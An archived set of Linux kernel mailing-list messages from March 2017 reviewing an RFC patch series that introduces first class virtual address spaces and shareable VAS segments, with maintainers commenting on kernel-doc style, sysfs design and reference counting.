Return-path: <linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org>
Envelope-to: gldm-linux-mtd-36@gmane.org
Original-Received: from mxfilter-048035.atla03.us.yomura.com ([107.189.48.35])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org>)
	id 1cnYSN-00041G-6L
	for gldm-linux-mtd-36@gmane.org; Mon, 13 Mar 2017 23:28:47 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from bombadil.infradead.org (unknown [65.50.211.133])
	by mxfilter-048035.atla03.us.yomura.com (Halon) with ESMTPS
	id 6f0681b7-083c-11e7-b156-b499baabecb2;
	Mon, 13 Mar 2017 22:28:51 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=UWdI7wBs7rGouqV0XeDza2pmt4DAKIm1H/lulT3x93k=; b=F0xPQHX7qgIf0Y
	C2cznFCtpJwUgQnMc6xvnm2ZcTc6OJcL0g5Uw8mYq4sNe2wQJHZWx+naDWlYjlV/+zwjynC+nq8Mm
	FnvnWSflyGDf+8G5YNmj5l4zKw81ZWh+OdKaja+EsFQEqRegbwZRMb6L7ROW/h2reftSPBLVIdoGv
	5bqfoIQRTAi+G66otNekneJZfeNwcXiuXTfXXrIusLYp1/Qv3fp2IDHFvXWu2AhaxfRebNDTcyvjU
	RFPlnfUQjvqrPTSJw7JjDY18BaCfT+uevX4snWLgCtaMpuIBdnb0TJB6HmH5Yzr2FwLilD3odCiyh
	fhTMRdjhu1kN7dbfUUew==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cnYSD-0002tE-Jw; Mon, 13 Mar 2017 22:28:37 +0000
Original-Received: from willy by bombadil.infradead.org with local (Exim 4.87 #1 (Red
 Hat Linux)) id 1cnYRa-0002rp-85; Mon, 13 Mar 2017 22:27:58 +0000
Content-Disposition: inline
In-Reply-To: <20170313221415.9375-12-till.smejkal@gmail.com>
X-BeenThere: linux-mtd@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux MTD discussion mailing list <linux-mtd.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-mtd>,
 <mailto:linux-mtd-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-mtd/>
List-Post: <mailto:linux-mtd@lists.infradead.org>
List-Help: <mailto:linux-mtd-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-mtd>,
 <mailto:linux-mtd-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-mtd" <linux-mtd-bounces@lists.infradead.org>
Errors-To: linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.drivers.mtd:72544 gmane.linux.ports.mips.general:58345 gmane.linux.ports.ia64:27699 gmane.linux.ports.sh.devel:55133 gmane.linux.alsa.devel:165317 gmane.linux.usb.general:156123 gmane.linux.ports.sparc:24730 gmane.linux.ports.hexagon:1160 gmane.linux.kernel:2431257 gmane.linux.kernel.cross-arch:35539 gmane.linux.kernel.arc:2224 gmane.linux.kernel.aio.general:4949 gmane.linux.drivers.video-input-infrastructure:114753 gmane.linux.ports.alpha:4135 gmane.linux.kernel.metag:1269 gmane.linux.ports.arm.kernel:564760 gmane.linux.file-systems:119090 gmane.linux.ports.parisc:27327 gmane.linux.kernel.mm:168273 gmane.linux.ports.ppc64.devel:139538 gmane.linux.kernel.api:22531
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.mtd/72544>

On Mon, Mar 13, 2017 at 03:14:13PM -0700, Till Smejkal wrote:
> +/**
> + * Create a new VAS segment.
> + *
> + * @param[in] name:		The name of the new VAS segment.
> + * @param[in] start:		The address where the VAS segment begins.
> + * @param[in] end:		The address where the VAS segment ends.
> + * @param[in] mode:		The access rights for the VAS segment.
> + *
> + * @returns:			The VAS segment ID on success, -ERRNO otherwise.
> + **/

Please follow the kernel-doc conventions, as described in
Documentation/doc-guide/kernel-doc.rst.  Also, function documentation
goes with the implementation, not the declaration.

> +/**
> + * Get ID of the VAS segment belonging to a given name.
> + *
> + * @param[in] name:		The name of the VAS segment for which the ID
> + *				should be returned.
> + *
> + * @returns:			The VAS segment ID on success, -ERRNO
> + *				otherwise.
> + **/
> +extern int vas_seg_find(const char *name);

So ... segments have names, and IDs ... and access permissions ...
Why isn't this a special purpose filesystem?


______________________________________________________
Linux MTD discussion mailing list
http://lists.infradead.org/mailman/listinfo/linux-mtd/


From - Thu Nov 08 21:39:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 11/13] mm/vas: Introduce VAS segments - shareable
 address space regions
Date: Mon, 13 Mar 2017 15:45:36 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <20170313224536.saqdijtdayxwmlpz@arch-dev>
References: <20170313222758.GB4033@bombadil.infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489445154 11343 195.159.176.226 (13 Mar 2017 22:45:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:45:54 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalia
To: Matthew Wilcox <willy@infradead.org>
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:45:40 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYie-0001JG-N9
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:45:37 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id B19C76B0038; Mon, 13 Mar 2017 18:45:42 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id AA09C6B038B; Mon, 13 Mar 2017 18:45:42 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 919266B038C; Mon, 13 Mar 2017 18:45:42 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wm0-f72.google.com (mail-wm0-f72.google.com [74.125.82.72])
	by kanga.kvack.org (Postfix) with ESMTP id 3A3746B0038
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:45:42 -0400 (EDT)
Original-Received: by mail-wm0-f72.google.com with SMTP id d66so16038102wmi.2
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:45:42 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=obqr0DX1/kdLIbymNY1r8hEPwuhD6CNhDknDx2xbFbA=;
        b=WCwpL6t5XK5nDA0JNkpz+o5bYX9eqoDI7anbeQYB3gEXncWKcz3wBgpDXHNsIojfK3
         EJo7fXa9mlA+lfvmfJbLEvXKesbpth3NRIa5uAYPbp0PcHLDVLD1L8YlLcauKM9itanX
         FsIyjEQq+IlMlctJKWLSFxNpWQjiMqj7uN0YBUjD5mzLzfHzwGHIogMr35lLaY+GhwqO
         QQk+YQjQ7rApUwZssxsiYn2oOjBket9WqogpuLLosG288AoCNoQGYuSbHv435aiFMl9H
         I3c6TTMp8cjhVzfp9FGY4kK9YtaqFk1QZ7diF+1hCVnHN9A+aup0bC3v4khzOGUCcEdU
         e1UQ==
X-Gm-Message-State: AMke39mwnL419IeAcU7UOhc7+LXwCsFxCETnfhG62VO8M6z0x0vU7sh/15CaKlRs3oYLDQR1beCurhi43dhEf5iql/bitLoseG0hwsOiMvLHWq9Ky8l997JR1y0xlBIT0FxvFx1HbiPqpJ6O69+hSu9Vd9SmCaQMq7FkywH2nLFYH7FbCfxTK63dGWi5lttW+0gd6lgcCpdZksaKkdcKaqNtbPHqccuW2Bwqu/Jhrb9wnqTQ7+/sxC77zY7YkYlL5A4naH8EZbLmtMmHTlQ3fhi+qFudBMuzeDS7ccy/hL38+I5ltdKX3Z8=
X-Received: by 10.223.134.231 with SMTP id 36mr34084450wry.46.1489445141818;
        Mon, 13 Mar 2017 15:45:41 -0700 (PDT)
X-Received: by 10.223.134.231 with SMTP id 36mr34084421wry.46.1489445141282;
        Mon, 13 Mar 2017 15:45:41 -0700 (PDT)
Original-Received: from mail-wr0-x243.google.com (mail-wr0-x243.google.com. [2a00:1450:400c:c0c::243])
        by mx.google.com with ESMTPS id h82si12585051wmh.163.2017.03.13.15.45.40
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:45:41 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::243 as permitted sender) client-ip=2a00:1450:400c:c0c::243;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::243 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x243.google.com with SMTP id u48so21899563wrc.1;
        Mon, 13 Mar 2017 15:45:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=obqr0DX1/kdLIbymNY1r8hEPwuhD6CNhDknDx2xbFbA=;
        b=fuy5BgdoB+/FuVYdufqmKyuyKGfwGt7XoNg4q02V9RMGKVJC40ke0vVjbGkLfdr0AD
         aQWsqFKuGZ+l24NxOa1U6vsIDkXIEJ2hbIdVWFOvFJYF5TmW960pw7sD/cIuUX8npeX4
         oEEFhjhlf62XHcyA6iQXyUy0p0BEZUcJZqnX6YCLkVf3ka2wOeltt4lXCS303HHdUu7f
         1WxnSkJGqESSQAGXb1wKi/wJr7ClJlelA15ftj4gWwYrD+t5v4HS/ReZfuZe7PUn84n5
         Tmqfw9x+QdthZ440v4SZ3krSoBC0DYI9WI0I1DFsRDFGMD7enniLFgBVz198rlKb5fJU
         oizw==
X-Received: by 10.223.163.21 with SMTP id c21mr29143221wrb.115.1489445140611;
        Mon, 13 Mar 2017 15:45:40 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id 136sm13009812wmg.12.2017.03.13.15.45.39
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:45:39 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Matthew Wilcox <willy@infradead.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori S 
Content-Disposition: inline
In-Reply-To: <20170313222758.GB4033@bombadil.infradead.org>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4950 gmane.linux.kernel:2431268 gmane.linux.ports.alpha:4136 gmane.linux.kernel.arc:2225 gmane.linux.ports.arm.kernel:564762 gmane.linux.ports.hexagon:1161 gmane.linux.ports.ia64:27700 gmane.linux.kernel.metag:1270 gmane.linux.ports.mips.general:58346 gmane.linux.ports.parisc:27328 gmane.linux.ports.ppc64.devel:139539 gmane.linux.ports.sh.devel:55134 gmane.linux.ports.sparc:24731 gmane.linux.drivers.video-input-infrastructure:114755 gmane.linux.drivers.mtd:72545 gmane.linux.usb.general:156125 gmane.linux.file-systems:119093 gmane.linux.kernel.mm:168274 gmane.linux.kernel.api:22532 gmane.linux.kernel.cross-arch:35540 gmane.linux.alsa.devel:165319
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4950>

Hi Matthew,

On Mon, 13 Mar 2017, Matthew Wilcox wrote:
> On Mon, Mar 13, 2017 at 03:14:13PM -0700, Till Smejkal wrote:
> > +/**
> > + * Create a new VAS segment.
> > + *
> > + * @param[in] name:		The name of the new VAS segment.
> > + * @param[in] start:		The address where the VAS segment begins.
> > + * @param[in] end:		The address where the VAS segment ends.
> > + * @param[in] mode:		The access rights for the VAS segment.
> > + *
> > + * @returns:			The VAS segment ID on success, -ERRNO otherwise.
> > + **/
> 
> Please follow the kernel-doc conventions, as described in
> Documentation/doc-guide/kernel-doc.rst.  Also, function documentation
> goes with the implementation, not the declaration.

Thank you for this pointer. I wasn't aware of this convention. I will change the
patches accordingly.

> > +/**
> > + * Get ID of the VAS segment belonging to a given name.
> > + *
> > + * @param[in] name:		The name of the VAS segment for which the ID
> > + *				should be returned.
> > + *
> > + * @returns:			The VAS segment ID on success, -ERRNO
> > + *				otherwise.
> > + **/
> > +extern int vas_seg_find(const char *name);
> 
> So ... segments have names, and IDs ... and access permissions ...
> Why isn't this a special purpose filesystem?

We also thought about this. However, we decided against implementing them as a
special purpose filesystem, mainly because we could not think of a good way to
represent a VAS/VAS segment in this file system (should they be represented rather as
file or directory) and we weren't sure what a hierarchy in the filesystem would mean
for the underlying address spaces. Hence we decided against it and rather used a
combination of IDR and sysfs. However, I don't have any strong feelings and would
also reimplement them as a special purpose filesystem if people rather like them to
be one.

Till

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 10/13] mm: Introduce first class virtual address
 spaces
Date: Tue, 14 Mar 2017 07:52:25 +0800
Lines: 110
Approved: news@gmane.org
Message-ID: <20170313235225.GA15359@kroah.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
 <20170313221415.9375-11-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489449172 12664 195.159.176.226 (13 Mar 2017 23:52:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 23:52:52 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
Cc: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@daveml
To: Till Smejkal <till.smejkal@googlemail.com>
Original-X-From: owner-linux-aio@kvack.org Tue Mar 14 00:52:40 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnZlV-0001m3-Fb
	for gla-linux-aio@m.gmane.org; Tue, 14 Mar 2017 00:52:37 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 8A5076B038A; Mon, 13 Mar 2017 19:52:41 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 6CDB66B038F; Mon, 13 Mar 2017 19:52:41 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 4F9346B038D; Mon, 13 Mar 2017 19:52:41 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-pg0-f70.google.com (mail-pg0-f70.google.com [74.125.83.70])
	by kanga.kvack.org (Postfix) with ESMTP id 22D3D6B038C
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 19:52:41 -0400 (EDT)
Original-Received: by mail-pg0-f70.google.com with SMTP id q126so334153106pga.0
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 16:52:41 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=rkEawMqxcioZB4Sb9iaqPiVOh3sulN5RDGlt3wHyU8o=;
        b=T2bsKhcyY3SGNkMCYBMf17M7FuSb77G7gQ03qORoT8SnNIvbKnoSVremP2EARo6I5S
         D3p+BGF2u8NvQeo83i1ehSFBVv+gI/F6JM1efXHWVshShd9siaUCli+1Wgou7NhCZNmT
         3u1v2D7sgt2RQ3Vk42JRlkdPNQ1HQMCi9WVospB0L+i0M9Pfugj/xgW1ALUE9iRCJNzu
         uicYpWi52WdDFQbrGvHru8MUwm6P3cbQP3UBo4bTlt1XUUi49MQSjDH/WXPYo7cO4WSO
         eOW4BJRIal2+4Huv9mDaikY3duxv9+taPmT0P123LliX6jmZtOq13HFaAPXGojTRuas4
         OWXw==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of gregkh@linuxfoundation.org designates 140.211.169.12 as permitted sender) smtp.mailfrom=gregkh@linuxfoundation.org
X-Gm-Message-State: AMke39nzAB1JN70Y7CcZr8nkkUmtOX15EriM4uZ2VmYoJN14nWj2aJxuj+3eJHuttAmDteUUUYD+BpNKfUSu2FaNIG0f0cbbHscoeBm+CZSZMn6F57jFnGb2OT7niwVSOYKzrpzXeIey2e1oSahjotOCRCh7p+4sjbGAkv0Rg9WCisGs0YC0MD2pYGybOtQ=
X-Received: by 10.98.32.24 with SMTP id g24mr40459290pfg.115.1489449160693;
        Mon, 13 Mar 2017 16:52:40 -0700 (PDT)
X-Received: by 10.98.32.24 with SMTP id g24mr40459239pfg.115.1489449160082;
        Mon, 13 Mar 2017 16:52:40 -0700 (PDT)
Original-Received: from mail.linuxfoundation.org (mail.linuxfoundation.org. [140.211.169.12])
        by mx.google.com with ESMTPS id s5si12800670pgj.372.2017.03.13.16.52.39
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 16:52:40 -0700 (PDT)
Received-SPF: pass (google.com: domain of gregkh@linuxfoundation.org designates 140.211.169.12 as permitted sender) client-ip=140.211.169.12;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of gregkh@linuxfoundation.org designates 140.211.169.12 as permitted sender) smtp.mailfrom=gregkh@linuxfoundation.org
Original-Received: from localhost (unknown [122.147.243.130])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 771D2932;
	Mon, 13 Mar 2017 23:52:37 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170313221415.9375-11-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4951 gmane.linux.kernel:2431302 gmane.linux.ports.alpha:4137 gmane.linux.kernel.arc:2226 gmane.linux.ports.arm.kernel:564778 gmane.linux.ports.hexagon:1162 gmane.linux.ports.ia64:27701 gmane.linux.kernel.metag:1271 gmane.linux.ports.mips.general:58347 gmane.linux.ports.parisc:27329 gmane.linux.ports.ppc64.devel:139541 gmane.linux.ports.sh.devel:55135 gmane.linux.ports.sparc:24732 gmane.linux.drivers.video-input-infrastructure:114758 gmane.linux.drivers.mtd:72546 gmane.linux.usb.general:156127 gmane.linux.file-systems:119099 gmane.linux.kernel.mm:168276 gmane.linux.kernel.api:22534 gmane.linux.kernel.cross-arch:35542 gmane.linux.alsa.devel:165320
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4951>

On Mon, Mar 13, 2017 at 03:14:12PM -0700, Till Smejkal wrote:

There's no way with that many cc: lists and people that this is really
making it through very many people's filters and actually on a mailing
list.  Please trim them down.

Minor sysfs questions/issues:

> +struct vas {
> +	struct kobject kobj;		/* < the internal kobject that we use *
> +					 *   for reference counting and sysfs *
> +					 *   handling.                        */
> +
> +	int id;				/* < ID                               */
> +	char name[VAS_MAX_NAME_LENGTH];	/* < name                             */

The kobject has a name, why not use that?

> +
> +	struct mutex mtx;		/* < lock for parallel access.        */
> +
> +	struct mm_struct *mm;		/* < a partial memory map containing  *
> +					 *   all mappings of this VAS.        */
> +
> +	struct list_head link;		/* < the link in the global VAS list. */
> +	struct rcu_head rcu;		/* < the RCU helper used for          *
> +					 *   asynchronous VAS deletion.       */
> +
> +	u16 refcount;			/* < how often is the VAS attached.   */

The kobject has a refcount, use that?  Don't have 2 refcounts in the
same structure, that way lies madness.  And bugs, lots of bugs...

And if this really is a refcount (hint, I don't think it is), you should
use the refcount_t type.

> +/**
> + * The sysfs structure we need to handle attributes of a VAS.
> + **/
> +struct vas_sysfs_attr {
> +	struct attribute attr;
> +	ssize_t (*show)(struct vas *vas, struct vas_sysfs_attr *vsattr,
> +			char *buf);
> +	ssize_t (*store)(struct vas *vas, struct vas_sysfs_attr *vsattr,
> +			 const char *buf, size_t count);
> +};
> +
> +#define VAS_SYSFS_ATTR(NAME, MODE, SHOW, STORE)				\
> +static struct vas_sysfs_attr vas_sysfs_attr_##NAME =			\
> +	__ATTR(NAME, MODE, SHOW, STORE)

__ATTR_RO and __ATTR_RW should work better for you.  If you really need
this.

Oh, and where is the Documentation/ABI/ updates to try to describe the
sysfs structure and files?  Did I miss that in the series?

> +static ssize_t __show_vas_name(struct vas *vas, struct vas_sysfs_attr *vsattr,
> +			       char *buf)
> +{
> +	return scnprintf(buf, PAGE_SIZE, "%s", vas->name);

It's a page size, just use sprintf() and be done with it.  No need to
ever check, you "know" it will be correct.

Also, what about a trailing '\n' for these attributes?

Oh wait, why have a name when the kobject name is already there in the
directory itself?  Do you really need this?

> +/**
> + * The ktype data structure representing a VAS.
> + **/
> +static struct kobj_type vas_ktype = {
> +	.sysfs_ops = &vas_sysfs_ops,
> +	.release = __vas_release,

Why the odd __vas* naming?  What's wrong with vas_release?


> +	.default_attrs = vas_default_attr,
> +};
> +
> +
> +/***
> + * Internally visible functions
> + ***/
> +
> +/**
> + * Working with the global VAS list.
> + **/
> +static inline void vas_remove(struct vas *vas)

<snip>

You have a ton of inline functions, for no good reason.  Make them all
"real" functions please.  Unless you can measure the size/speed
differences?  If so, please say so.


thanks,

greg k-h

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Richard Henderson <rth@twiddle.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Tue, 14 Mar 2017 10:18:56 +1000
Lines: 37
Approved: news@gmane.org
Message-ID: <73f62aca-d442-9e4b-3e2c-6269e2632e68@twiddle.net>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
